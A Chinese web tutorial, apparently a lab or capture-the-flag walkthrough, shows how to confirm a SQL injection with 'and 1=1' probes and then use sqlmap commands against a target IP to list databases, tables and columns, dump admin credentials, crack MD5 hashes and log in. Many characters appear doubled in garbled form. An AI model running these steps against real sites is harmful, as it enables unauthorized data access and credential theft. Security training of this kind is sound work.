sqlmap注入圖文詳解
更新時間：2021年08月11日 15:18:43 作者：徐林2333
sqlmap 是一個自動SQL 射入工具。本文收集了一些利用Sqlmap做注入測試的TIPS，其中也包含一點繞WAF的技巧，便于大家集中查閱，希望能給你帶來幫助
1.發(fā)現(xiàn)此網(wǎng)址可能存在sql注入漏洞，我們進(jìn)行sql盲注入測試一下是否存在漏洞。
地址欄輸入 and 1=1 發(fā)現(xiàn)頁面正常顯示。
再次輸入and 1=2 頁面出現(xiàn)錯誤，說明該頁面可能存在sql注入漏洞
2.現(xiàn)在拿出我們的kali工具，sqlmap進(jìn)行注入測試。
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs
3.可以看到存在注入漏洞，掃到了5個數(shù)據(jù)庫。要獲取管理員用戶密碼，我們可以先從stormgroup注入。查看stormgroup這個數(shù)據(jù)庫存在的表單
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables
4.接下來查一下member中存在哪些列。
sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T member --columns
5.上一步可以看到，name,password 是不是很熟悉。ok接下來我們開始獲取這兩列的數(shù)據(jù)。
6.可以看到password是經(jīng)過md5加密，接下來我們把他解密。這里推薦給大家我自己收集的多種解密網(wǎng)址：解密網(wǎng)址大全點擊這里
7.now! 密碼已經(jīng)呈現(xiàn)在我們眼前?。。?！找到后臺地址進(jìn)行登錄。
8.END 登錄成功，拿到flag，提交。Gameover ！
總結(jié)
本篇文章就到這里了，希望能給你帶來幫助，也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容！
相關(guān)文章
Windows下MySQL服務(wù)啟動常見的兩種方式(適配5.7和8.0)
本文主要介紹了Windows下MySQL服務(wù)啟動常見的兩種方式(適配5.7和8.0),文中通過圖文介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-07-07
這篇文章主要介紹了MySQL Workbench的使用方法(圖文) ,需要的朋友可以參考下2016-02-02
淺析centos 7 mysql-8.0.19-1.el7.x86_64.rpm-bundle.tar
這篇文章主要介紹了centos 7 mysql-8.0.19-1.el7.x86_64.rpm-bundle.tar的相關(guān)知識,需要的朋友可以參考下2020-01-01
MySQL5.1主從同步出現(xiàn)Relay log read failure錯誤解決方法
這篇文章主要介紹了MySQL5.1主從同步出現(xiàn)Relay log read failure錯誤解決方法,需要的朋友可以參考下2014-07-07
對MySQL 如何查找刪除重復(fù)行好奇得小伙伴想必也知道MySQL 操作刪除重復(fù)行，難免有時會需要查看被刪除的重行，今天小編就來給大家詳解，感興趣的小伙伴可以參考下面的文章內(nèi)容2021-09-09
Ubuntu 18.04配置mysql以及配置遠(yuǎn)程連接的步驟
這篇文章主要給大家介紹了關(guān)于Ubuntu 18.04配置mysql以及配置遠(yuǎn)程連接的相關(guān)資料，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-07-07
在本篇文章中我們給大家講述了mysql中影響性能的因素以及相關(guān)知識點內(nèi)容，有興趣的朋友參考下。2018-09-09
隨著應(yīng)用對事務(wù)完整性和并發(fā)性要求的不斷提高,MySQL才開始開發(fā)基于事務(wù)的存儲引擎,下面這篇文章主要給大家介紹了關(guān)于MySQL表鎖、行鎖、排它鎖及共享鎖使用的相關(guān)資料,需要的朋友可以參考下2022-04-04
mysql5.7及mysql 8.0版本修改root密碼的方法小結(jié)
這篇文章主要介紹了mysql5.7及mysql 8.0版本修改root密碼方式 ,非常不錯，具有一定的參考借鑒價值，需要的朋友可以參考下2018-11-11
深入了解mysql的4種常用、重要的數(shù)據(jù)類型
對于在開發(fā)大型電子商務(wù)網(wǎng)站時，如果碰到有限的硬件和系統(tǒng)環(huán)境情況下，合理的數(shù)據(jù)庫表結(jié)構(gòu)的設(shè)計是必不可少的2014-05-05